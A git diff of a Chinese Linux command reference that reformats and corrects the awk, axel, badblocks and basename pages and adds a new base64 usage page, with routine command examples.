+\t 制表符
+\b 退格符
+\r 回车符
+\n 换行符
+\c 取消换行
+```
+
+**示例**
+
+```shell
echo -e "line1 f2 f3\nline2 f4 f5\nline3 f6 f7" | awk '{print "Line No:"NR", No of fields:"NF, "$0="$0, "$1="$1, "$2="$2, "$3="$3}'
Line No:1, No of fields:3 $0=line1 f2 f3 $1=line1 $2=f2 $3=f3
Line No:2, No of fields:3 $0=line2 f4 f5 $1=line2 $2=f4 $3=f5
@@ -140,14 +151,14 @@ Line No:3, No of fields:3 $0=line3 f6 f7 $1=line3 $2=f6 $3=f7
使用`print $NF`可以打印出一行中的最后一个字段,使用`$(NF-1)`则是打印倒数第二个字段,其他以此类推:
-```
-echo -e "line1 f2 f3n line2 f4 f5" | awk '{print $NF}'
+```shell
+echo -e "line1 f2 f3\n line2 f4 f5" | awk '{print $NF}'
f3
f5
```
-```
-echo -e "line1 f2 f3n line2 f4 f5" | awk '{print $(NF-1)}'
+```shell
+echo -e "line1 f2 f3\n line2 f4 f5" | awk '{print $(NF-1)}'
f2
f4
@@ -155,13 +166,13 @@ f4
打印每一行的第二和第三个字段:
-```
+```shell
awk '{ print $2,$3 }' filename
```
统计文件中的行数:
-```
+```shell
awk 'END{ print NR }' filename
```
@@ -169,7 +180,7 @@ awk 'END{ print NR }' filename
一个每一行中第一个字段值累加的例子:
-```
+```shell
seq 5 | awk 'BEGIN{ sum=0; print "总和:" } { print $1"+"; sum+=$1 } END{ print "等于"; print sum }'
总和:
1+
@@ -185,14 +196,14 @@ seq 5 | awk 'BEGIN{ sum=0; print "总和:" } { print $1"+"; sum+=$1 } END{ pri
借助 **`-v`选项** ,可以将外部值(并非来自stdin)传递给awk:
-```
+```shell
VAR=10000
echo | awk -v VARIABLE=$VAR '{ print VARIABLE }'
```
另一种传递外部变量方法:
-```
+```shell
var1="aaa"
var2="bbb"
echo | awk '{ print v1,v2 }' v1=$var1 v2=$var2
@@ -200,7 +211,7 @@ echo | awk '{ print v1,v2 }' v1=$var1 v2=$var2
当输入来自于文件时使用:
-```
+```shell
awk '{ print v1,v2 }' v1=$var1 v2=$var2 filename
```
@@ -208,7 +219,7 @@ awk '{ print v1,v2 }' v1=$var1 v2=$var2 filename
## 查找进程pid
-```
+```shell
netstat -antup | grep 7770 | awk '{ print $NF NR}' | awk '{ print $1}'
```
@@ -216,96 +227,115 @@ netstat -antup | grep 7770 | awk '{ print $NF NR}' | awk '{ print $1}'
作为一种程序设计语言所应具有的特点之一,awk支持多种运算,这些运算与C语言提供的基本相同。awk还提供了一系列内置的运算函数(如log、sqr、cos、sin等)和一些用于对字符串进行操作(运算)的函数(如length、substr等等)。这些函数的引用大大的提高了awk的运算功能。作为对条件转移指令的一部分,关系判断是每种程序设计语言都具备的功能,awk也不例外,awk中允许进行多种测试,作为样式匹配,还提供了模式匹配表达式~(匹配)和!~(不匹配)。作为对测试的一种扩充,awk也支持用逻辑运算符。
-### 算术运算符
+### 算术运算符
-| 运算符 | 描述 |
-| ----- | ---- |
-| + - | 加,减 |
-| * / & | 乘,除与求余 |
+| 运算符 | 描述 |
+| ----- | ---- |
+| + - | 加,减 |
+| * / & | 乘,除与求余 |
| + - ! | 一元加,减和逻辑非 |
| ^ *** | 求幂 |
| ++ -- | 增加或减少,作为前缀或后缀 |
例:
-```
+```shell
awk 'BEGIN{a="b";print a++,++a;}'
0 2
```
注意:所有用作算术运算符进行操作,操作数自动转为数值,所有非数值都变为0
-### 赋值运算符
+### 赋值运算符
-| 运算符 | 描述 |
-| ----- | ---- |
-| = += -= *= /= %= ^= **= | 赋值语句 |
+| 运算符 | 描述 |
+| ----- | ---- |
+| = += -= *= /= %= ^= **= | 赋值语句 |
例:
-```
+```shell
a+=5; 等价于:a=a+5; 其它同类
```
-### 逻辑运算符
+### 逻辑运算符
-| 运算符 | 描述 |
-| ----- | ---- |
-| `\|\|` | 逻辑或 |
-| && | 逻辑与 |
+| 运算符 | 描述 |
+| ----- | ---- |
+| `\|\|` | 逻辑或 |
+| && | 逻辑与 |
例:
-```
+```shell
awk 'BEGIN{a=1;b=2;print (a>5 && b<=2),(a>5 || b<=2);}'
0 1
```
-### 正则运算符
+### 正则运算符
+
+| 运算符 | 描述 |
+| ----- | ---- |
+| ~ !~ | 匹配正则表达式和不匹配正则表达式 |
+
+```
+^ 行首
+$ 行尾
+. 除了换行符以外的任意单个字符
+* 前导字符的零个或多个
+.* 所有字符
+[] 字符组内的任一字符
+[^]对字符组内的每个字符取反(不匹配字符组内的每个字符)
+^[^] 非字符组内的字符开头的行
+[a-z] 小写字母
+[A-Z] 大写字母
+[a-Z] 小写和大写字母
+[0-9] 数字
+\< 单词头单词一般以空格或特殊字符做分隔,连续的字符串被当做单词
+\> 单词尾
+```
-| 运算符 | 描述 |
-| ----- | ---- |
-| ~ !~ | 匹配正则表达式和不匹配正则表达式 |
+> 正则需要用 /正则/ 包围住
例:
-```
+```shell
awk 'BEGIN{a="100testa";if(a ~ /^100*/){print "ok";}}'
ok
```
-### 关系运算符
+### 关系运算符
-| 运算符 | 描述 |
-| ----- | ---- |
-| < <= > >= != == | 关系运算符 |
+| 运算符 | 描述 |
+| ----- | ---- |
+| < <= > >= != == | 关系运算符 |
例:
-```
+```shell
awk 'BEGIN{a=11;if(a >= 9){print "ok";}}'
ok
```
注意:> < 可以作为字符串比较,也可以用作数值比较,关键看操作数如果是字符串就会转换为字符串比较。两个都为数字才转为数值比较。字符串比较:按照ASCII码顺序比较。
-### 其它运算符
+### 其它运算符
-| 运算符 | 描述 |
-| ----- | ---- |
-| $ | 字段引用 |
-| 空格 | 字符串连接符 |
-| ?: | C条件表达式 |
-| in | 数组中是否存在某键值 |
+| 运算符 | 描述 |
+| ----- | ---- |
+| $ | 字段引用 |
+| 空格 | 字符串连接符 |
+| ?: | C条件表达式 |
+| in | 数组中是否存在某键值 |
例:
-```
+```shell
awk 'BEGIN{a="b";print a=="b"?"ok":"err";}'
ok
```
-```
+```shell
awk 'BEGIN{a="b";arr[0]="b";arr[1]="c";print (a in arr);}'
0
```
@@ -315,18 +345,18 @@ awk 'BEGIN{a="b";arr[0]="b";arr["b"]="c";print (a in arr);}'
1
```
-### 运算级优先级表
+### 运算级优先级表
!级别越高越优先
级别越高越优先
## awk高级输入输出
-### 读取下一条记录
+### 读取下一条记录
awk中`next`语句使用:在循环逐行匹配,如果遇到next,就会跳过当前行,直接忽略下面语句。而进行下一行匹配。next语句一般用于多行合并:
-```
+```shell
cat text.txt
a
b
@@ -341,9 +371,9 @@ awk 'NR%2==1{next}{print NR,$0;}' text.txt
当记录行号除以2余1,就跳过当前行。下面的`print NR,$0`也不会执行。下一行开始,程序有开始判断`NR%2`值。这个时候记录行号是`:2` ,就会执行下面语句块:`'print NR,$0'`
-分析发现需要将包含有“web”行进行跳过,然后需要将内容与下面行合并为一行:
+跳过以“web”为首的行,再将该行内容分别与下面不以“web”为首的行合并打印,使用一个“:”和一个制表符连接:
-```
+```shell
cat text.txt
web01[192.168.2.100]
httpd ok
@@ -356,7 +386,7 @@ web03[192.168.2.102]
mysqld ok
httpd ok
0
-awk '/^web/{T=$0;next;}{print T":t"$0;}' test.txt
+awk '/^web/{T=$0;next;}{print T":\t"$0;}' text.txt
web01[192.168.2.100]: httpd ok
web01[192.168.2.100]: tomcat ok
web01[192.168.2.100]: sendmail ok
@@ -366,7 +396,7 @@ web03[192.168.2.102]: mysqld ok
web03[192.168.2.102]: httpd ok
```
-### 简单地读取一条记录
+### 简单地读取一条记录
`awk getline`用法:输出重定向需用到`getline函数`。getline从标准输入、管道或者当前正在处理的文件之外的其他输入文件获得输入。它负责从输入获得下一行的内容,并给NF,NR和FNR等内建变量赋值。如果得到一条记录,getline函数返回1,如果到达文件的末尾就返回0,如果出现错误,例如打开文件失败,就返回-1。
@@ -374,46 +404,46 @@ getline语法:getline var,变量var包含了特定行的内容。
awk getline从整体上来说,用法说明:
-* **当其左右无重定向符`|`或`<`时:** getline作用于当前文件,读入当前文件的第一行给其后跟的变量`var`或`$0`(无变量),应该注意到,由于awk在处理getline之前已经读入了一行,所以getline得到的返回结果是隔行的。
-* **当其左右有重定向符`|`或`<`时:** getline则作用于定向输入文件,由于该文件是刚打开,并没有被awk读入一行,只是getline读入,那么getline返回的是该文件的第一行,而不是隔行。
+* **当其左右无重定向符`|`或`<`时:** getline作用于当前文件,读入当前文件的第一行给其后跟的变量`var`或`$0`(无变量),应该注意到,由于awk在处理getline之前已经读入了一行,所以getline得到的返回结果是隔行的。
+* **当其左右有重定向符`|`或`<`时:** getline则作用于定向输入文件,由于该文件是刚打开,并没有被awk读入一行,只是getline读入,那么getline返回的是该文件的第一行,而不是隔行。
- **示例:**
+**示例:**
执行linux的`date`命令,并通过管道输出给`getline`,然后再把输出赋值给自定义变量out,并打印它:
-```
+```shell
awk 'BEGIN{ "date" | getline out; print out }' test
```
执行shell的date命令,并通过管道输出给getline,然后getline从管道中读取并将输入赋值给out,split函数把变量out转化成数组mon,然后打印数组mon的第二个元素:
-```
+```shell
awk 'BEGIN{ "date" | getline out; split(out,mon); print mon[2] }' test
```
命令ls的输出传递给geline作为输入,循环使getline从ls的输出中读取一行,并把它打印到屏幕。这里没有输入文件,因为BEGIN块在打开输入文件前执行,所以可以忽略输入文件。
-```
+```shell
awk 'BEGIN{ while( "ls" | getline) print }'
```
-### 关闭文件
+### 关闭文件
awk中允许在程序中关闭一个输入或输出文件,方法是使用awk的close语句。
-```
+```shell
close("filename")
```
filename可以是getline打开的文件,也可以是stdin,包含文件名的变量或者getline使用的确切命令。或一个输出文件,可以是stdout,包含文件名的变量或使用管道的确切命令。
-### 输出到一个文件
+### 输出到一个文件
awk中允许用如下方式将结果输出到一个文件:
-```
+```shell
echo | awk '{printf("hello word!n") > "datafile"}'
-或
+# 或
echo | awk '{printf("hello word!n") >> "datafile"}'
```
@@ -421,9 +451,9 @@ echo | awk '{printf("hello word!n") >> "datafile"}'
默认的字段定界符是空格,可以使用`-F "定界符"` 明确指定一个定界符:
-```
+```shell
awk -F: '{ print $NF }' /etc/passwd
-或
+# 或
awk 'BEGIN{ FS=":" } { print $NF }' /etc/passwd
```
@@ -433,9 +463,9 @@ awk 'BEGIN{ FS=":" } { print $NF }' /etc/passwd
在linux awk的while、do-while和for语句中允许使用break,continue语句来控制流程走向,也允许使用exit这样的语句来退出。break中断当前正在执行的循环并跳到循环外执行下一条语句。if 是流程选择用法。awk中,流程控制语句,语法结构,与c语言类型。有了这些语句,其实很多shell程序都可以交给awk,而且性能是非常快的。下面是各个语句用法。
-### 条件判断语句
+### 条件判断语句
-```
+```shell
if(表达式)
语句1
else
@@ -444,7 +474,7 @@ else
格式中语句1可以是多个语句,为了方便判断和阅读,最好将多个语句用{}括起来。awk分枝结构允许嵌套,其格式为:
-```
+```shell
if(表达式)
{语句1}
else if(表达式)
@@ -455,7 +485,7 @@ else
示例:
-```
+```shell
awk 'BEGIN{
test=100;
if(test>90){
@@ -474,18 +504,18 @@ very good
每条命令语句后面可以用`;` **分号** 结尾。
-### 循环语句
+### 循环语句
-#### while语句
+### # while语句
-```
+```shell
while(表达式)
{语句}
```
示例:
-```
+```shell
awk 'BEGIN{
test=100;
total=0;
@@ -498,20 +528,20 @@ print total;
5050
```
-#### for循环
+### # for循环
for循环有两种格式:
格式1:
-```
+```shell
for(变量 in 数组)
{语句}
```
示例:
-```
+```shell
awk 'BEGIN{
for(k in ENVIRON){
print k"="ENVIRON[k];
@@ -532,14 +562,14 @@ SSH_CLIENT=192.168.1.21 53087 22
格式2:
-```
+```shell
for(变量;条件;表达式)
{语句}
```
示例:
-```
+```shell
awk 'BEGIN{
total=0;
for(i=0;i<=100;i++){
@@ -550,16 +580,16 @@ print total;
5050
```
-#### do循环
+### # do循环
-```
+```shell
do
{语句} while(条件)
```
例子:
-```
+```shell
awk 'BEGIN{
total=0;
i=0;
@@ -569,31 +599,31 @@ do {total+=i;i++;} while(i<=100)
5050
```
-### 其他语句
+### 其他语句
-* **break** 当 break 语句用于 while 或 for 语句时,导致退出程序循环。
-* **continue** 当 continue 语句用于 while 或 for 语句时,使程序循环移动到下一个迭代。
-* **next** 能能够导致读入下一个输入行,并返回到脚本的顶部。这可以避免对当前输入行执行其他的操作过程。
-* **exit** 语句使主输入循环退出并将控制转移到END,如果END存在的话。如果没有定义END规则,或在END中应用exit语句,则终止脚本的执行。
+* **break** 当 break 语句用于 while 或 for 语句时,导致退出程序循环。
+* **continue** 当 continue 语句用于 while 或 for 语句时,使程序循环移动到下一个迭代。
+* **next** 能能够导致读入下一个输入行,并返回到脚本的顶部。这可以避免对当前输入行执行其他的操作过程。
+* **exit** 语句使主输入循环退出并将控制转移到END,如果END存在的话。如果没有定义END规则,或在END中应用exit语句,则终止脚本的执行。
## 数组应用
数组是awk的灵魂,处理文本中最不能少的就是它的数组处理。因为数组索引(下标)可以是数字和字符串在awk中数组叫做关联数组(associative arrays)。awk 中的数组不必提前声明,也不必声明大小。数组元素用0或空字符串来初始化,这根据上下文而定。
-### 数组的定义
+### 数组的定义
数字做数组索引(下标):
-```
+```shell
Array[1]="sun"
Array[2]="kai"
```
字符串做数组索引(下标):
-```
+```shell
Array["first"]="www"
-Array"[last"]="name"
+Array["last"]="name"
Array["birth"]="1987"
```
@@ -601,32 +631,32 @@ Array["birth"]="1987"
**读取数组的值**
-```
+```shell
{ for(item in array) {print array[item]}; } #输出的顺序是随机的
{ for(i=1;i<=len;i++) {print array[i]}; } #Len是数组的长度
```
-### 数组相关函数
+### 数组相关函数
- **得到数组长度:**
+**得到数组长度:**
-```
+```shell
awk 'BEGIN{info="it is a test";lens=split(info,tA," ");print length(tA),lens;}'
4 4
```
length返回字符串以及数组长度,split进行分割字符串为数组,也会返回分割得到数组长度。
-```
+```shell
awk 'BEGIN{info="it is a test";split(info,tA," ");print asort(tA);}'
4
```
asort对数组进行排序,返回数组长度。
- **输出数组内容(无序,有序输出):**
+**输出数组内容(无序,有序输出):**
-```
+```shell
awk 'BEGIN{info="it is a test";split(info,tA," ");for(k in tA){print k,tA[k];}}'
4 test
1 it
@@ -636,7 +666,7 @@ awk 'BEGIN{info="it is a test";split(info,tA," ");for(k in tA){print k,tA[k];}}'
`for…in`输出,因为数组是关联数组,默认是无序的。所以通过`for…in`得到是无序的数组。如果需要得到有序数组,需要通过下标获得。
-```
+```shell
awk 'BEGIN{info="it is a test";tlen=split(info,tA," ");for(k=1;k<=tlen;k++){print k,tA[k];}}'
1 it
2 is
@@ -646,10 +676,10 @@ awk 'BEGIN{info="it is a test";tlen=split(info,tA," ");for(k=1;k<=tlen;k++){prin
注意:数组下标是从1开始,与C数组不一样。
- **判断键值存在以及删除键值:**
+**判断键值存在以及删除键值:**
-```
-#错误的判断方法:
+```shell
+# 错误的判断方法:
awk 'BEGIN{tB["a"]="a1";tB["b"]="b1";if(tB["c"]!="1"){print "no found";};for(k in tB){print k,tB[k];}}'
no found
a a1
@@ -659,8 +689,8 @@ c
以上出现奇怪问题,`tB[“c”]`没有定义,但是循环时候,发现已经存在该键值,它的值为空,这里需要注意,awk数组是关联数组,只要通过数组引用它的key,就会自动创建改序列。
-```bash
-#正确判断方法:
+```shell
+# 正确判断方法:
awk 'BEGIN{tB["a"]="a1";tB["b"]="b1";if( "c" in tB){print "ok";};for(k in tB){print k,tB[k];}}'
a a1
b b1
@@ -668,7 +698,7 @@ b b1
`if(key in array)`通过这种方法判断数组中是否包含`key`键值。
-```bash
+```shell
#删除键值:
awk 'BEGIN{tB["a"]="a1";tB["b"]="b1";delete tB["a"];for(k in tB){print k,tB[k];}}'
b b1
@@ -676,13 +706,13 @@ b b1
`delete array[key]`可以删除,对应数组`key`的,序列值。
-### 二维、多维数组使用
+### 二维、多维数组使用
-awk的多维数组在本质上是一维数组,更确切一点,awk在存储上并不支持多维数组。awk提供了逻辑上模拟二维数组的访问方式。例如,`array[2,4]=1`这样的访问是允许的。awk使用一个特殊的字符串`SUBSEP(�34)`作为分割字段,在上面的例子中,关联数组array存储的键值实际上是2�344。
+awk的多维数组在本质上是一维数组,更确切一点,awk在存储上并不支持多维数组。awk提供了逻辑上模拟二维数组的访问方式。例如,`array[2,4]=1`这样的访问是允许的。awk使用一个特殊的字符串`SUBSEP(\034)`作为分割字段,在上面的例子中,关联数组array存储的键值实际上是2\0344。
类似一维数组的成员测试,多维数组可以使用`if ( (i,j) in array)`这样的语法,但是下标必须放置在圆括号中。类似一维数组的循环访问,多维数组使用`for ( item in array )`这样的语法遍历数组。与一维数组不同的是,多维数组必须使用`split()`函数来访问单独的下标分量。
-```bash
+```shell
awk 'BEGIN{
for(i=1;i<=9;i++){
for(j=1;j<=9;j++){
@@ -707,7 +737,7 @@ for(i=1;i<=9;i++){
另一种方法:
-```bash
+```shell
awk 'BEGIN{
for(i=1;i<=9;i++){
for(j=1;j<=9;j++){
@@ -724,7 +754,7 @@ for(m in tarr){
awk内置函数,主要分以下3种类似:算数函数、字符串函数、其它一般函数、时间函数。
-### 算术函数
+### 算术函数
| 格式 | 描述 |
| ---- | ---- |
@@ -741,7 +771,7 @@ awk内置函数,主要分以下3种类似:算数函数、字符串函数、
举例说明:
-```
+```shell
awk 'BEGIN{OFMT="%.3f";fs=sin(1);fe=exp(10);fl=log(10);fi=int(3.1415);print fs,fe,fl,fi;}'
0.841 22026.466 2.303 3
@@ -751,7 +781,7 @@ OFMT 设置输出数据格式是保留3位小数。
获得随机数:
-```
+```shell
awk 'BEGIN{srand();fr=int(100*rand());print fr;}'
78
awk 'BEGIN{srand();fr=int(100*rand());print fr;}'
@@ -760,7 +790,7 @@ awk 'BEGIN{srand();fr=int(100*rand());print fr;}'
41
```
-### 字符串函数
+### 字符串函数
| 格式 | 描述 |
| ---- | ---- |
@@ -779,9 +809,9 @@ awk 'BEGIN{srand();fr=int(100*rand());print fr;}'
注:Ere都可以是正则表达式。
- **gsub,sub使用**
+**gsub,sub使用**
-```
+```shell
awk 'BEGIN{info="this is a test2010test!";gsub(/[0-9]+/,"!",info);print info}'
this is a test!test!
```
@@ -790,32 +820,32 @@ this is a test!test!
**查找字符串(index使用)**
-```
+```shell
awk 'BEGIN{info="this is a test2010test!";print index(info,"test")?"ok":"no found";}'
ok
```
未找到,返回0
- **正则表达式匹配查找(match使用)**
+**正则表达式匹配查找(match使用)**
```
awk 'BEGIN{info="this is a test2010test!";print match(info,/[0-9]+/)?"ok":"no found";}'
ok
```
- **截取字符串(substr使用)**
+**截取字符串(substr使用)**
-```
+```shell
[wangsl@centos5 ~]$ awk 'BEGIN{info="this is a test2010test!";print substr(info,4,10);}'
s is a tes
```
从第 4个 字符开始,截取10个长度字符串
- **字符串分割(split使用)**
+**字符串分割(split使用)**
-```
+```shell
awk 'BEGIN{info="this is a test";split(info,tA," ");print length(tA);for(k in tA){print k,tA[k];}}'
4
4 test
@@ -826,7 +856,7 @@ awk 'BEGIN{info="this is a test";split(info,tA," ");print length(tA);for(k in tA
分割info,动态创建数组tA,这里比较有意思,`awk for …in`循环,是一个无序的循环。 并不是从数组下标1…n ,因此使用时候需要注意。
- **格式化字符串输出(sprintf使用)**
+**格式化字符串输出(sprintf使用)**
格式化字符串格式:
@@ -841,12 +871,12 @@ awk 'BEGIN{info="this is a test";split(info,tA," ");print length(tA);for(k in tA
| %o | 无符号以八进制表示的整数 | %g | 自动选择合适的表示法 |
-```
+```shell
awk 'BEGIN{n1=124.113;n2=-1.224;n3=1.2345; printf("%.2f,%.2u,%.2g,%X,%on",n1,n2,n3,n1,n1);}'
124.11,18446744073709551615,1.2,7C,174
```
-### 一般函数
+### 一般函数
| 格式 | 描述 |
| ---- | ---- |
@@ -856,34 +886,34 @@ awk 'BEGIN{n1=124.113;n2=-1.224;n3=1.2345; printf("%.2f,%.2u,%.2g,%X,%on",n1,n2,
| getline [ Variable ] < Expression | 从 Expression 参数指定的文件读取输入的下一个记录,并将 Variable 参数指定的变量设置为该记录的值。只要流保留打开且 Expression 参数对同一个字符串求值,则对 getline 函数的每次后续调用读取另一个记录。如果未指定 Variable 参数,则 $0 记录变量和 NF 特殊变量设置为从流读取的记录。 |
| getline [ Variable ] | 将 Variable 参数指定的变量设置为从当前输入文件读取的下一个输入记录。如果未指定 Variable 参数,则 $0 记录变量设置为该记录的值,还将设置 NF、NR 和 FNR 特殊变量。 |
- **打开外部文件(close用法)**
+**打开外部文件(close用法)**
-```
+```shell
awk 'BEGIN{while("cat /etc/passwd"|getline){print $0;};close("/etc/passwd");}'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
```
- **逐行读取外部文件(getline使用方法)**
+**逐行读取外部文件(getline使用方法)**
-```
+```shell
awk 'BEGIN{while(getline < "/etc/passwd"){print $0;};close("/etc/passwd");}'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
```
-```
+```shell
awk 'BEGIN{print "Enter your name:";getline name;print name;}'
Enter your name:
chengmo
chengmo
```
- **调用外部应用程序(system使用方法)**
+**调用外部应用程序(system使用方法)**
-```
+```shell
awk 'BEGIN{b=system("ls -al");print b;}'
total 42092
drwxr-xr-x 14 chengmo chengmo 4096 09-30 17:47 .
@@ -892,7 +922,7 @@ drwxr-xr-x 95 root root 4096 10-08 14:01 ..
b返回值,是执行结果。
-### 时间函数
+### 时间函数
| 格式 | 描述 |
| ---- | ---- |
@@ -901,26 +931,26 @@ b返回值,是执行结果。
| strftime([format [, timestamp]]) | 格式化时间输出,将时间戳转为时间字符串具体格式,见下表。 |
| systime() | 得到时间戳,返回从1970年1月1日开始到当前时间(不计闰年)的整秒数 |
- **建指定时间(mktime使用)**
+**建指定时间(mktime使用)**
-```
+```shell
awk 'BEGIN{tstamp=mktime("2001 01 01 12 12 12");print strftime("%c",tstamp);}'
2001年01月01日 星期一 12时12分12秒
```
-```
+```shell
awk 'BEGIN{tstamp1=mktime("2001 01 01 12 12 12");tstamp2=mktime("2001 02 01 0 0 0");print tstamp2-tstamp1;}'
2634468
```
求2个时间段中间时间差,介绍了strftime使用方法
-```
+```shell
awk 'BEGIN{tstamp1=mktime("2001 01 01 12 12 12");tstamp2=systime();print tstamp2-tstamp1;}'
308201392
```
- **strftime日期和时间格式说明符**
+**strftime日期和时间格式说明符**
| 格式 | 描述 |
| ---- | ---- |
@@ -948,4 +978,4 @@ awk 'BEGIN{tstamp1=mktime("2001 01 01 12 12 12");tstamp2=systime();print tstamp2
| %Y | 当前月份 |
| %% | 百分号(%) |
-
+
diff --git a/command/axel.md b/command/axel.md
index 42591c657f7..0d38af3af37 100644
--- a/command/axel.md
+++ b/command/axel.md
@@ -1,70 +1,78 @@
axel
===
-
+
多线程下载工具
## 补充说明
**axel** 是Linux下一个不错的HTTP/ftp高速下载工具。支持多线程下载、断点续传,且可以从多个地址或者从一个地址的多个连接来下载同一个文件。适合网速不给力时多线程下载提高下载速度。比如在国内VPS或服务器上下载lnmp一键安装包用Axel就比wget快。
-### 安装
+### 安装
+
+#### 源码安装
+
+github地址:https://github.com/axel-download-accelerator/axel
+
+下载相应的 release 版本后,解压进入目录执行`./configure && make && make install`安装即可。
+
+#### 二进制安装
CentOS安装Axel:
-目前yum源上没有Axel,我们可以到http://pkgs.repoforge.org/axel/下载rpm包安装。
+目前yum源上没有Axel,我们可以到 http://pkgs.repoforge.org/axel/ 下载rpm包安装。
32位CentOS执行下面命令:
-```
+```shell
wget -c http://pkgs.repoforge.org/axel/axel-2.4-1.el5.rf.i386.rpm
rpm -ivh axel-2.4-1.el5.rf.i386.rpm
```
64位CentOS执行下面命令:
-```
+```shell
wget -c http://pkgs.repoforge.org/axel/axel-2.4-1.el5.rf.x86_64.rpm
rpm -ivh axel-2.4-1.el5.rf.x86_64.rpm
```
Debian/Ubuntu安装Axel:
-```
+```shell
apt-get install axel
```
-### 语法
+### 语法
-```
+```shell
axel [options] url1 [url2] [url...]
```
-### 选项
-
-```
---max-speed=x , -s x 最高速度x
---num-connections=x , -n x 连接数x
---output=f , -o f 下载为本地文件f
---search[=x] , -S [x] 搜索镜像
---header=x , -H x 添加头文件字符串x(指定 HTTP header)
---user-agent=x , -U x 设置用户代理(指定 HTTP user agent)
---no-proxy , -N 不使用代理服务器
---quiet , -q 静默模式
---verbose ,-v 更多状态信息
---alternate , -a Alternate progress indicator
---help ,-h 帮助
---version ,-V 版本信息
+### 选项
+
+```shell
+--max-speed=x , -s x # 最高速度x
+--num-connections=x , -n x # 连接数x
+--output=f , -o f # 下载为本地文件f
+--search[=x] , -S [x] # 搜索镜像
+--header=x , -H x # 添加头文件字符串x(指定 HTTP header)
+--user-agent=x , -U x # 设置用户代理(指定 HTTP user agent)
+--no-proxy , -N # 不使用代理服务器
+--quiet , -q # 静默模式
+--verbose ,-v # 更多状态信息
+--alternate , -a # Alternate progress indicator
+--help ,-h # 帮助
+--version ,-V # 版本信息
+--insecure,-k # 不验证SSL证书
```
-### 实例
+### 实例
-如下载lnmp安装包指定10个线程,存到/tmp/:
+如下载lnmp安装包指定10个线程,存到 `/tmp/`:
-```
+```shell
axel -n 10 -o /tmp/ http://www.jsdig.com/lnmp.tar.gz
```
如果下载过程中下载中断可以再执行下载命令即可恢复上次的下载进度。
-
\ No newline at end of file
diff --git a/command/badblocks.md b/command/badblocks.md
index a334c53484a..dbd00a31a20 100644
--- a/command/badblocks.md
+++ b/command/badblocks.md
@@ -1,21 +1,21 @@
badblocks
===
-
+
查找磁盘中损坏的区块
## 补充说明
**badblock命令** 用于查找磁盘中损坏的区块。 硬盘是一个损耗设备,当使用一段时间后可能会出现坏道等物理故障。电脑硬盘出现坏道后,如果不及时更换或进行技术处理,坏道就会越来越多,并会造成频繁死机和数据丢失。最好的处理方式是更换磁盘,但在临时的情况下,应及时屏蔽坏道部分的扇区,不要触动它们。badblocks就是一个很好的检查坏道位置的工具。
-### 语法
+### 语法
-```
+```shell
badblock(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-b<区块大小>:指定磁盘的区块大小,单位为字节;
-o<输出文件>:将检查的结果写入指定的输出文件;
-s:在检查时显示进度;
@@ -23,23 +23,23 @@ badblock(选项)(参数)
-w:在检查时,执行写入测试。
```
-### 参数
+### 参数
-* 磁盘装置:指定要检查的磁盘装置;
-* 磁盘区块数:指定磁盘装置的区块总数;
-* 启始区块:指定要从哪个区块开始检查。
+* 磁盘装置:指定要检查的磁盘装置;
+* 磁盘区块数:指定磁盘装置的区块总数;
+* 启始区块:指定要从哪个区块开始检查。
-### 实例
+### 实例
-badblocks以4096的一个block,每一个block检查16次,将结果输出到“hda-badblocks-list”文件里。
+badblocks以 4096 的一个block,每一个block检查16次,将结果输出到“hda-badblocks-list”文件里。
-```
+```shell
badblocks -b 4096 -c 16 /dev/hda1 -o hda-badblocks-list
```
hda-badblocks-list是个文本文件,内容如下:
-```
+```shell
cat hda-badblocks-list
51249
51250
@@ -53,15 +53,15 @@ cat hda-badblocks-list
可以针对可疑的区块多做几次操作。下面,badblocks以4096字节为一个“block”,每一个“block”检查1次, 将结果输出到“hda-badblocks-list.1”文件中,由第51000 block开始,到63000 block结束。
-```
+```shell
badblocks -b 4096 -c 1 /dev/hda1 -o hda-badblocks-list.1 63000 51000
```
这次花费的时间比较短,硬盘在指定的情况下在很短的时间就产生“嘎嘎嘎嘎”的响声。由于检查条件的不同,其输出的结果也不完全是相同的。重复几次同样的操作,因条件多少都有些不同,所以结果也有所不同。进行多次操作后,直到产生最后的hda-badblock-list.final文件。
-### 其他
+### 其他
- **1、fsck使用badblocks的信息**
+**1、fsck使用badblocks的信息**
badblocks只会在日志文件中标记出坏道的信息,但若希望在检测磁盘时也能跳过这些坏块不检测,可以使用fsck的-l参数:
@@ -69,11 +69,11 @@ badblocks只会在日志文件中标记出坏道的信息,但若希望在检
fsck.ext3 -l /tmp/hda-badblock-list.final /dev/hda1
```
- **2、在创建文件系统前检测坏道**
+**2、在创建文件系统前检测坏道**
badblocks可以随e2fsck和mke2fs的-c删除一起运行(对ext3文件系统也一样),在创建文件系统前就先检测坏道信息:
-```
+```shell
mkfs.ext3 -c /dev/hda1
```
@@ -82,4 +82,3 @@ mkfs.ext3 -c /dev/hda1
这个操作已经很清楚地告知我们可以采用`mkfs.ext3 -c`选项用`read-only`方式检查硬盘。这个命令会在格式化硬盘时检查硬盘,并标出错误的硬盘“block”。用这个方法格式化硬盘,需要有相当大的耐心,因为命令运行后,会一个个用读的方式检查硬盘。
-
\ No newline at end of file
diff --git a/command/base64.md b/command/base64.md
new file mode 100644
index 00000000000..8a8e4e16198
--- /dev/null
+++ b/command/base64.md
@@ -0,0 +1,52 @@
+base64
+===
+
+base64 编码/解码文件或标准输入输出
+
+### 描述
+
+base64将`文件`或`标准输入`编码或解码为标准输出;
+
+### 语法
+
+```shell
+base64 [OPTION]... [FILE]
+```
+
+### 参数
+
+```shell
+-d, --decode # 解码
+-i, --ignore-garbage # 解码时,忽略非字母字符
+-w, --wrap=COLS # 在指定的字符数后自动换行(默认为76), 0 为禁用自动换行
+
+--help # 显示此帮助说明并退出
+--version # 输出版本信息并退出
+```
+
+### 实例
+
+编码字符串
+
+```bash
+printf foo|base64
+```
+
+编码文件
+
+```bash
+base64 file
+```
+
+解码
+
+```bash
+printf Zm9v|base64 -d
+```
+
+解码文件
+
+```bash
+base64 -d file
+```
+
diff --git a/command/basename.md b/command/basename.md
index 02055753629..731dac687c0 100644
--- a/command/basename.md
+++ b/command/basename.md
@@ -1,35 +1,35 @@
basename
===
-
+
打印目录或者文件的基本名称
## 补充说明
